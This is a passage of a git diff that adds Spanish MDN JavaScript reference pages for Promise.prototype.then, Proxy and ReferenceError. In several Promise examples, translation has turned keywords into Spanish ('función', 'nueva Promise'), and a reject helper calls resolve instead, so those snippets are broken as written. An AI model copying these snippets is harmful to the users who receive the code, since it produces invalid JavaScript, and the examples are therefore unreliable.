+ <dd>Una <a href="es/docs/Web/JavaScript/Referencia/Objetos_globales/Function">Función</a> es llamada si la <code>Promesa </code>es rechazada. Esta función tiene un argumento, la <code>razón</code> de rechazo. Si no es una función, se reemplaza internamente con una función "Lanzador" (lanza un error que recibió como argumento).</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un <code><a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Promise">Promise</a></code> en estado <strong>pendiente.</strong> La función de control (<code>alCumplir o enRechazo)</code> es llamada de forma <strong>asíncrona</strong> (tan pronto como el stack se vacíe). Después de la invocación de la función de control pueden darse diferentes casos:</p>
+
+<ul>
+ <li>Si se recibe un valor, la Promesa devuelta por el método <code>then</code> queda resuelta adoptando el valor de retorno.</li>
+ <li>Si se produce un error, la Promesa devuelta por el método <code>then</code> es rechazada, adoptando el error como su valor.</li>
+ <li>Si se devuelve una Promesa ya resuelta, la Promesa devuelta por el método <code>then</code> queda resuelta adoptando el valor de la promesa anterior.</li>
+ <li>Si se devuelve una Promesa con un objeto <strong>pendiente</strong> de resolver, la resolución o rechazo devueltos por  <code>then</code> quedará a esperas de que la Promesa establecida para la función de control quede resuelta. Además, el valor de la Promesa en estado pendiente será el mismo que el valor devuelto por el controlador.</li>
+</ul>
+
+<p>Veamos un ejemplo para demostrar la asincronía del método <code>then</code>.</p>
+
+<pre class="notranslate"><code>// al usar una promesa revuelta, el bloque 'then' se lanzará automáticamente,
+// pero sus funciones controladoras se lanzarán asíncronamente,
+// como demuestran los console.logs
+var promResuelta = Promise.resolve(33);
+
+var thenProm = promResuelta.then(función(valor){
+    console.log("ésto será invocado cuando acabe el stack principal. El valor recibido y devuelto es: " + valor);
+    return valor;
+});
+// imprimimos al momento el valor de thenProm()
+console.log(thenProm);
+
+// usando setTimeout podemos posponer la ejecución de una función al momento en el que el stack quede vacío.
+setTimeout(función(){
+    console.log(thenProm);
+});
+
+
+// logs, en orden:
+// Promise {[[EstadoPromise¡]]: "pendiente", [[ValorPromise]]: undefined}
+// "ésto será invocado cuando acabe el stack principal. El valor recibido y devuelto es: "33"
+// Promise {[[EstadoPromise]]: "resuelta", [[ValorPromise]]: 33}</code></pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Ya que los métodos <code>then</code> y {{jsxref("Promise.prototype.catch()")}} devuelven promesas, pueden ser encadenados — una operación llamada <em>composición</em>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_metodo_then">Usando el metodo <code>then</code></h3>
+
+<pre class="brush: js notranslate">var p1 = new Promise(function(resolve, reject) {
+  resolve('Success!');
+  // or
+  // reject ("Error!");
+});
+
+p1.then(function(value) {
+  console.log(value); // Success!
+}, function(reason) {
+  console.log(reason); // Error!
+});
+</pre>
+
+<h3 id="Encadenamiento">Encadenamiento</h3>
+
+<p>El método <code>then</code> devuelve una <code>Promise</code> que permite encadenar métodos.</p>
+
+<p>Puedes pasar una lambda a <code>then</code> y si devuelve una promesa, una <code>Promise</code> equivalente será expuesta al <code>then</code> subsecuente en la cadena de métodos. El fragmento incluido debajo simula un código asíncrono mediante la función <code>setTimeout</code>. </p>
+
+<pre class="brush: js notranslate">Promise.resolve('foo')
+  // 1. Recibe "foo", concatena "bar" con él, y resuelve la cadena con el siguiente 'then'
+  .then(función(hilo) {
+    return new Promise(function(resolve, reject) {
+      setTimeout(función() {
+        hilo += 'bar';
+        resolve(hilo);
+      }, 1);
+    });
+  })
+  // 2. recibe "foobar", registra una función de llamada para opear sobre ese hilo
+  // e imprimirlo en la consola, pero no antes de devolver el hilo sin modificar
+  // en la resolución del siguiente 'then'
+  .then(función(hilo) {
+    setTimeout(función() {
+      hilo += 'baz';
+      console.log(hilo);
+    }, 1)
+    return hilo;
+  })
+  // 3. imprime mensajes útiles sobre cómo funcionará el código en esta sección
+  // antes de que el hilo se procese por el código de prueba
+  // antes del bloque 'then'.
+  .then(función(hilo) {
+    console.log("Último Then:  oops... no me he molestado en instanciar y devolver " +
+                "una promesa en el then anterior, así que la secuencia puede ser un poco " +
+                "sorprendente");
+
+    // Observemos que `string` no incluye el trozo 'baz' en éste punto. Ésto ocurre
+    // porque lo hemos contruido para que ocurra asíncronamente con una función setTimeout
+    console.log(hilo);
+});</pre>
+
+<p>Cuando un valor sencillamente se devuelve desde un lambda <code>then</code> , devolverá un <code>Promise.resolve(&lt;valor devuelto por el controlador que haya sido invocado&gt;)</code>.</p>
+
+<pre class="brush: js notranslate">var p2 = nueva Promise(function(resolver, rechazar) {
+  resolver(1);
+});
+
+p2.then(función(valor) {
+  console.log(valor); // 1
+  return valor + 1;
+}).then(function(value) {
+  console.log(valor + '- Este uso síncrono es prácticamente inútil'); // 2- Este uso síncrono es prácticamente inútil
+});
+
+p2.then(función(valor) {
+  console.log(valor); // 1
+});
+</pre>
+
+<p>Una llamada a  <code>then</code> devolverá una promesa rechazada si la función lanza un error o devuelve una Promise rechazada.</p>
+
+<pre class="brush: js notranslate">Promise.resolve()
+  .then( () =&gt; {
+    // Hace que .then() devuelva una promera rechazada
+    throw new Error('Oh no!');
+  })
+  .then( () =&gt; {
+    console.log( 'No invocada.' );
+  }, error =&gt; {
+    console.error( 'Función de rechazo llamada: ', error );
+});</pre>
+
+<p>En cualquier otro caso, una Promise en resolución será devuelta. El el siguiente ejemplo, el primer <code>then()</code> devolverá un <code>42</code> dentro de una Promise en resolución, aunque la Promise de la cadena fue rechazada.</p>
+
+<pre class="brush: js notranslate">Promise.reject()
+  .then( () =&gt; 99, () =&gt; 42 ) // enRechazo devuelve 42, que está dentro de una Promise en resolución
+  .then( respuesta =&gt; console.log( 'Resuelta con ' + respuesta ) ); // Resuelta con 42</pre>
+
+<p>En la práctica, suele ser preferible capturar promesas rechazadas en lugar de utilizar la sintaxis de dos casos de <code>then,</code> como demostramos abajo.</p>
+
+<pre class="brush: js notranslate">Promise.resolve()
+  .then( () =&gt; {
+    // Hace que .then() devuelva una promesa rechazada
+    throw new Error('Oh no!');
+  })
+  .catch( error =&gt; {
+    console.error( 'función enRechazo invocada: ', error );
+  })
+  .then( () =&gt; {
+    console.log( "Siempre soy invocada, incluso si la promesa del then previo es rechazada" );
+  });</pre>
+
+<p><br>
+ También puedes usar encadenamiento para implementar una función con una API basada en promesas, sobre una función del mismo tipo.</p>
+
+<pre class="brush: js notranslate">function traer_datos_actuales() {
+  // La función <a href="/en-US/docs/Web/API/GlobalFetch/fetch">fetch</a>() de la API devuelve una Promesa. Esta función
+  // expone una API similar, pero el valor de cumplimiento
+  // de la Promesa de esta función tiene más tareas
+  // implementadas sobre ella.
+  return fetch('datos_actuales.json').then((response) =&gt; {
+    if (response.headers.get('content-type') != 'application/json') {
+      throw new TypeError();
+    }
+    var j = response.json();
+    // podríamos hacer algo con j
+    return j; // valor de cumplimiento asignado al usuario de
+              // fetch_datos_actuales().then()
+  });
+}
+</pre>
+
+<p>Si <code>alCumplir</code> devuelve una promesa, el valor de retorno de <code>then</code> será resuelto o rechazado por la promesa.</p>
+
+<pre class="brush: js notranslate">function resolverDespues(resolver, reject) {
+  setTimeout(función () {
+    resolver(10);
+  }, 1000);
+}
+function rechazarDespues(resolver, reject) {
+  setTimeout(function () {
+    resolver(new Error('Error'));
+  }, 1000);
+}
+
+var p1 = Promise.resolve('foo');
+var p2 = p1.then(función() {
+  // Devuelve la promesa aquí, que será resuelta igualada a 10 tras 1 segundo
+  return new Promise(resolverDespues);
+});
+p2.then(función(v) {
+  console.log('resuelta', v);  // "resuelta", 10
+}, función(e) {
+  // no invocada
+  console.log('rechazada', e);
+});
+
+var p3 = p1.then(funcion() {
+ // Devuelve la promesa aquí, que será rechazada con 'Error' despues de 1 segundo
+ return new Promise(rechazarDespues);
+});
+p3.then(funcion(v) {
+ // no invocada
+  console.log('resuelta', v);
+}, funcion(e) {
+  console.log('rechazada', e); // "rechazada", 'Error'
+});
+</pre>
+
+<h3 id="window.setImmediate_estilo_polyfill_basado_en_promesas"><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Window/setImmediate" title="This method is used to break up long running operations and run a callback function immediately after the browser has completed other operations such as events and display updates."><code>window.setImmediate</code></a> estilo polyfill basado en promesas</h3>
+
+<p>Usar un método {{jsxref("Function.prototype.bind()")}}<code>Reflect.apply</code> ({{jsxref("Reflect.apply()")}}) para crear un (non-cancellable) setImmediate-style function.</p>
+
+<pre class="notranslate">const nextTick = (() =&gt; {
+  const noop = () =&gt; {}; // literally
+  const nextTickPromise = () =&gt; Promise.resolve().then(noop);
+
+  const rfab = Reflect.apply.bind; // (thisArg, fn, thisArg, [...args])
+  const nextTick = (fn, ...args) =&gt; (
+    fn !== undefined
+    ? Promise.resolve(args).then(rfab(null, fn, null))
+    : nextTickPromise(),
+    undefined
+  );
+  nextTick.ntp = nextTickPromise;
+
+  return nextTick;
+})();</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.prototype.then', 'Promise.prototype.then')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial en el estándar ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype.then', 'Promise.prototype.then')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegador">Compatibilidad en navegador</h2>
+
+<p class="hidden">Para contribuir a la compatibilidad de estos datos, realiza una pull request sobre éste archivo: <a href="https://github.com/mdn/browser-compat-data/blob/master/javascript/promise.json">https://github.com/mdn/browser-compat-data/blob/master/javascript/promise.json</a>.</p>
+
+<p>{{Compat("javascript/promise","Promise.prototype.then")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.catch()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/proxy/index.html b/files/es/web/javascript/referencia/objetos_globales/proxy/index.html
new file mode 100644
index 0000000000..1469b1f138
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/proxy/index.html
@@ -0,0 +1,439 @@
+---
+title: Proxy
+slug: Web/JavaScript/Referencia/Objetos_globales/Proxy
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy
+---
+<div>
+<div>{{JSRef}}</div>
+</div>
+
+<p>El objeto <strong>Proxy</strong> se usa para definir un comportamiento personalizado para operaciones fundamentales (por ejemplo, para observar propiedades, cuando se asignan, enumeración, invocación de funciones, etc).</p>
+
+<h2 id="Terminología">Terminología</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">handler</a></dt>
+ <dd>Objeto que gestiona las intercepciones a las propiedades del objeto proxy.</dd>
+ <dt>traps</dt>
+ <dd>Son los métodos interceptores que proveen acceso a las propiedades. Es análogo al concepto de <em>traps</em> en los sistemas operativos.</dd>
+ <dt>target</dt>
+ <dd>El objeto que virtualiza este objeto. Suele usarse como <em>backend</em> de almacenamiento del proxy. Invariantes (semántica que no acepta cambios) respecto a la no extensibilidad del objeto o propiedades no configurables se verifican contra este <em>target</em>.</dd>
+</dl>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">var p = new Proxy(target, handler);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Un objeto <em>target </em>(puede ser cualquier órden de objetos, incluyendo un array nativa, funcion o incluso otro proxy) o función que contenga el <code>Proxy</code></dd>
+ <dt><code>handler</code></dt>
+ <dd>Un objeto cuyas propiedades son funciones que definen el comportamiento del proxy cuando una operación es realizada en él.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("Proxy.revocable()")}}</dt>
+ <dd>Crea un objeto <code>Proxy</code> revocable</dd>
+</dl>
+
+<h2 id="Métodos_del_objeto_handler">Métodos del objeto handler</h2>
+
+<p>The handler object is a placeholder object which contains traps for <code>Proxy</code>.</p>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler', 'Methods') }}</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<p>En este simple ejemplo el número <code>37</code> se devuelve como valor predeterminado cuando la propiedad <code>name</code> no se encuentra en el objeto. Se utilizando el manejador <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/get">get</a></code>.</p>
+
+<pre class="brush: js notranslate">var handler = {
+    get: function(target, name){
+        return name in target?
+            target[name] :
+            37;
+    }
+};
+
+var p = new Proxy({}, handler);
+p.a = 1;
+p.b = undefined;
+
+console.log(p.a, p.b); // 1, undefined
+console.log('c' in p, p.c); // false, 37
+</pre>
+
+<h3 id="No-op_forwarding_proxy">No-op forwarding proxy</h3>
+
+<p>In this example, we are using a native JavaScript object to which our proxy will forward all operations that are applied to it.</p>
+
+<pre class="brush: js notranslate">var target = {};
+var p = new Proxy(target, {});
+
+p.a = 37; // operation forwarded to the target
+
+console.log(target.a); // 37. The operation has been properly forwarded
+</pre>
+
+<h3 id="Validación">Validación</h3>
+
+<p>Con un <code>Proxy</code>, puedes validar fácilmente el valor puesto a un objeto. Este ejemplo usa el handler (manejador) <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set"><code>set</code></a>.</p>
+
+<pre class="brush: js notranslate">let validator = {
+  set: function(obj, prop, value) {
+    if (prop === 'age') {
+      if (!Number.isInteger(value)) {
+        throw new TypeError('The age is not an integer');
+      }
+      if (value &gt; 200) {
+        throw new RangeError('The age seems invalid');
+      }
+    }
+
+    // The default behavior to store the value
+    obj[prop] = value;
+  }
+};
+
+let person = new Proxy({}, validator);
+
+person.age = 100;
+console.log(person.age); // 100
+person.age = 'young'; // Throws an exception
+person.age = 300; // Throws an exception
+</pre>
+
+<h3 id="Extending_constructor">Extending constructor</h3>
+
+<p>A function proxy could easily extend a constructor with a new constructor. This example uses the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct"><code>construct</code></a> and <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply"><code>apply</code></a> handlers.</p>
+
+<pre class="brush: js notranslate">function extend(sup,base) {
+  var descriptor = Object.getOwnPropertyDescriptor(
+    base.prototype,"constructor"
+  );
+  base.prototype = Object.create(sup.prototype);
+  var handler = {
+    construct: function(target, args) {
+      var obj = Object.create(base.prototype);
+      this.apply(target,obj,args);
+      return obj;
+    },
+    apply: function(target, that, args) {
+      sup.apply(that,args);
+      base.apply(that,args);
+    }
+  };
+  var proxy = new Proxy(base,handler);
+  descriptor.value = proxy;
+  Object.defineProperty(base.prototype, "constructor", descriptor);
+  return proxy;
+}
+
+var Person = function(name){
+  this.name = name;
+};
+
+var Boy = extend(Person, function(name, age) {
+  this.age = age;
+});
+
+Boy.prototype.sex = "M";
+
+var Peter = new Boy("Peter", 13);
+console.log(Peter.sex);  // "M"
+console.log(Peter.name); // "Peter"
+console.log(Peter.age);  // 13</pre>
+
+<h3 id="Manipular_nodos_del_DOM">Manipular nodos del DOM</h3>
+
+<p>A veces queremos cambiar el atributo clase de dos elementos diferentes. Aquí se muestra cómo usando el handler (manejador) <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set"><code>set</code></a>.</p>
+
+<pre class="brush: js notranslate">let view = new Proxy({
+  selected: null
+},
+{
+  set: function(obj, prop, newval) {
+    let oldval = obj[prop];
+
+    if (prop === 'selected') {
+      if (oldval) {
+        oldval.setAttribute('aria-selected', 'false');
+      }
+      if (newval) {
+        newval.setAttribute('aria-selected', 'true');
+      }
+    }
+
+    // The default behavior to store the value
+    obj[prop] = newval;
+  }
+});
+
+let i1 = view.selected = document.getElementById('item-1');
+console.log(i1.getAttribute('aria-selected')); // 'true'
+
+let i2 = view.selected = document.getElementById('item-2');
+console.log(i1.getAttribute('aria-selected')); // 'false'
+console.log(i2.getAttribute('aria-selected')); // 'true'
+</pre>
+
+<h3 id="Value_correction_and_an_extra_property">Value correction and an extra property</h3>
+
+<p>The <code>products</code> proxy object evaluates the passed value and convert it to an array if needed. The object also supports an extra property called <code>latestBrowser</code> both as a getter and a setter.</p>
+
+<pre class="brush: js notranslate">let products = new Proxy({
+  browsers: ['Internet Explorer', 'Netscape']
+},
+{
+  get: function(obj, prop) {
+    // An extra property
+    if (prop === 'latestBrowser') {
+      return obj.browsers[obj.browsers.length - 1];
+    }
+
+    // The default behavior to return the value
+    return obj[prop];
+  },
+  set: function(obj, prop, value) {
+    // An extra property
+    if (prop === 'latestBrowser') {
+      obj.browsers.push(value);
+      return;
+    }
+
+    // Convert the value if it is not an array
+    if (typeof value === 'string') {
+      value = [value];
+    }
+
+    // The default behavior to store the value
+    obj[prop] = value;
+  }
+});
+
+console.log(products.browsers); // ['Internet Explorer', 'Netscape']
+products.browsers = 'Firefox'; // pass a string (by mistake)
+console.log(products.browsers); // ['Firefox'] &lt;- no problem, the value is an array
+
+products.latestBrowser = 'Chrome';
+console.log(products.browsers); // ['Firefox', 'Chrome']
+console.log(products.latestBrowser); // 'Chrome'
+</pre>
+
+<h3 id="Finding_an_array_item_object_by_its_property">Finding an array item object by its property</h3>
+
+<p>This proxy extends an array with some utility features. As you see, you can flexibly "define" properties without using <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties"><code>Object.defineProperties</code></a>. This example can be adapted to find a table row by its cell. In that case, the target will be <a href="/en-US/docs/DOM/table.rows"><code>table.rows</code></a>.</p>
+
+<pre class="brush: js notranslate">let products = new Proxy([
+  { name: 'Firefox', type: 'browser' },
+  { name: 'SeaMonkey', type: 'browser' },
+  { name: 'Thunderbird', type: 'mailer' }
+],
+{
+  get: function(obj, prop) {
+    // The default behavior to return the value; prop is usually an integer
+    if (prop in obj) {
+      return obj[prop];
+    }
+
+    // Get the number of products; an alias of products.length
+    if (prop === 'number') {
+      return obj.length;
+    }
+
+    let result, types = {};
+
+    for (let product of obj) {
+      if (product.name === prop) {
+        result = product;
+      }
+      if (types[product.type]) {
+        types[product.type].push(product);
+      } else {
+        types[product.type] = [product];
+      }
+    }
+
+    // Get a product by name
+    if (result) {
+      return result;
+    }
+
+    // Get products by type
+    if (prop in types) {
+      return types[prop];
+    }
+
+    // Get product types
+    if (prop === 'types') {
+      return Object.keys(types);
+    }
+
+    return undefined;
+  }
+});
+
+console.log(products[0]); // { name: 'Firefox', type: 'browser' }
+console.log(products['Firefox']); // { name: 'Firefox', type: 'browser' }
+console.log(products['Chrome']); // undefined
+console.log(products.browser); // [{ name: 'Firefox', type: 'browser' }, { name: 'SeaMonkey', type: 'browser' }]
+console.log(products.types); // ['browser', 'mailer']
+console.log(products.number); // 3
+</pre>
+
+<h3 id="A_complete_traps_list_example">A complete <code>traps</code> list example</h3>
+
+<p>Now in order to create a complete sample <code>traps</code> list, for didactic purposes, we will try to proxify a <em>non native</em> object that is particularly suited to this type of operation: the <code>docCookies</code> global object created by <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework" title="https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support">the "little framework" published on the <code>document.cookie</code> page</a>.</p>
+
+<pre class="brush: js notranslate">/*
+  var docCookies = ... get the "docCookies" object here:
+  https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support
+*/
+
+var docCookies = new Proxy(docCookies, {
+  get: function (oTarget, sKey) {
+    return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
+  },
+  set: function (oTarget, sKey, vValue) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.setItem(sKey, vValue);
+  },
+  deleteProperty: function (oTarget, sKey) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.removeItem(sKey);
+  },
+  enumerate: function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  ownKeys: function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  has: function (oTarget, sKey) {
+    return sKey in oTarget || oTarget.hasItem(sKey);
+  },
+  defineProperty: function (oTarget, sKey, oDesc) {
+    if (oDesc &amp;&amp; "value" in oDesc) { oTarget.setItem(sKey, oDesc.value); }
+    return oTarget;
+  },
+  getOwnPropertyDescriptor: function (oTarget, sKey) {
+    var vValue = oTarget.getItem(sKey);
+    return vValue ? {
+      value: vValue,
+      writable: true,
+      enumerable: true,
+      configurable: false
+    } : undefined;
+  },
+});
+
+/* Cookies test */
+
+console.log(docCookies.my_cookie1 = "First value");
+console.log(docCookies.getItem("my_cookie1"));
+
+docCookies.setItem("my_cookie1", "Changed value");
+console.log(docCookies.my_cookie1);</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>13 (10586)</td>
+   <td>{{ CompatGeckoDesktop("18") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{ CompatGeckoDesktop("18") }}</td>
+   <td>13 (10586)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Gecko_specific_notes">Gecko specific notes</h2>
+
+<ul>
+ <li>At present, <code>Object.getPrototypeOf(proxy)</code> unconditionally returns <code>Object.getPrototypeOf(target)</code>, because the ES6 getPrototypeOf trap is not yet implemented ({{bug(795904)}}, {{bug(888969)}}).</li>
+ <li><code>Array.isArray(proxy)</code> unconditionally returns <code>Array.isArray(target)</code> ({{bug(1096753)}}, {{bug(1111785)}}).</li>
+ <li><code>Object.prototype.toString.call(proxy)</code> unconditionally returns <code>Object.prototype.toString.call(target)</code>, because ES6 Symbol.toStringTag is not yet implemented ({{bug(1114580)}}).</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="https://www.youtube.com/watch?v=sClk6aB_CPk">"Proxies are awesome" Brendan Eich presentation at JSConf</a> (<a class="external" href="http://www.slideshare.net/BrendanEich/metaprog-5303821">slides</a>)</li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies">ECMAScript Harmony Proxy proposal page</a> and <a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies_semantics">ECMAScript Harmony proxy semantics page</a></li>
+ <li><a class="external" href="http://soft.vub.ac.be/~tvcutsem/proxies/">Tutorial on proxies</a></li>
+ <li><a href="/en-US/docs/JavaScript/Old_Proxy_API" title="/en-US/docs/JavaScript/Old_Proxy_API">SpiderMonkey specific Old Proxy API</a></li>
+ <li>{{jsxref("Object.watch()")}} is a non-standard feature but has been supported in Gecko for a long time.</li>
+</ul>
+
+<h2 id="Licensing_note">Licensing note</h2>
+
+<p>Some content (text, examples) in this page has been copied or adapted from the <a class="external" href="http://wiki.ecmascript.org/doku.php">ECMAScript wiki</a> which content is licensed <a class="external" href="http://creativecommons.org/licenses/by-nc-sa/2.0/">CC 2.0 BY-NC-SA</a>.</p>
diff --git a/files/es/web/javascript/referencia/objetos_globales/referenceerror/index.html b/files/es/web/javascript/referencia/objetos_globales/referenceerror/index.html
new file mode 100644
index 0000000000..5b48497b5d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/referenceerror/index.html
@@ -0,0 +1,99 @@
+---
+title: ReferenceError
+slug: Web/JavaScript/Referencia/Objetos_globales/ReferenceError
+tags:
+  - Clase
+  - Class
+  - JavaScript
+  - Object
+  - Objeto
+  - ReferenceError
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError
+---
+<div>{{JSRef("Objetos_globales", "ReferenceError")}}</div>
+
+<p>El objeto <strong><code>ReferenceError</code></strong> representa un error cuando se hace referencia a una variable inexistente.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError/ReferenceError"><code>ReferenceError()</code></a></dt>
+ <dd>Crea un nuevo objeto <code>ReferenceError</code>.</dd>
+</dl>
+
+<h2 id="Propiedades_de_la_instancia">Propiedades de la instancia</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.message", "ReferenceError.prototype.message")}}</dt>
+ <dd>Mensaje de error. Aunque ECMA-262 especifica que {{jsxref("ReferenceError")}} debe proporcionar su propia propiedad <code>message</code>, en <a href="/es/docs/Mozilla/Projects/SpiderMonkey"><code>SpiderMonkey</code></a>, hereda {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "ReferenceError.prototype.name")}}</dt>
+ <dd>Nombre del error. Heredado de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "ReferenceError.prototype.fileName")}}</dt>
+ <dd>Ruta al archivo que generó este error. Heredado de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "ReferenceError.prototype.lineNumber")}}</dt>
+ <dd>Número de línea en el archivo que generó este error. Heredado de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "ReferenceError.prototype.columnNumber")}}</dt>
+ <dd>Número de columna en la línea que generó este error. Heredado de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "ReferenceError.prototype.stack")}}</dt>
+ <dd>Seguimiento de la pila. Heredado de {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Capturar_un_ReferenceError">Capturar un <code>ReferenceError</code></h3>
+
+<pre class="brush: js notranslate">try {
+  let a = undefinedVariable
+} catch (e) {
+  console.log(e instanceof ReferenceError)  // true
+  console.log(e.message)                    // "undefinedVariable no está definida"
+  console.log(e.name)                       // "ReferenceError"
+  console.log(e.fileName)                   // "Scratchpad/1"
+  console.log(e.lineNumber)                 // 2
+  console.log(e.columnNumber)               // 6
+  console.log(e.stack)                      // "@Scratchpad/2:2:7\n"
+}
+</pre>
+
+<h3 id="Crear_un_ReferenceError">Crear un <code>ReferenceError</code></h3>
+
+<pre class="brush: js notranslate">try {
+  throw new ReferenceError('Hola', 'someFile.js', 10)
+} catch (e) {
+  console.log(e instanceof ReferenceError)  // true
+  console.log(e.message)                    // "Hola"
+  console.log(e.name)                       // "ReferenceError"
+  console.log(e.fileName)                   // "someFile.js"
+  console.log(e.lineNumber)                 // 10
+  console.log(e.columnNumber)               // 0
+  console.log(e.stack)                      // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.ReferenceError")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/regexp/compile/index.html b/files/es/web/javascript/referencia/objetos_globales/regexp/compile/index.html
new file mode 100644
index 0000000000..0bce81a56d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/regexp/compile/index.html
@@ -0,0 +1,93 @@
+---
+title: RegExp.prototype.compile()
+slug: Web/JavaScript/Referencia/Objetos_globales/RegExp/compile
+tags:
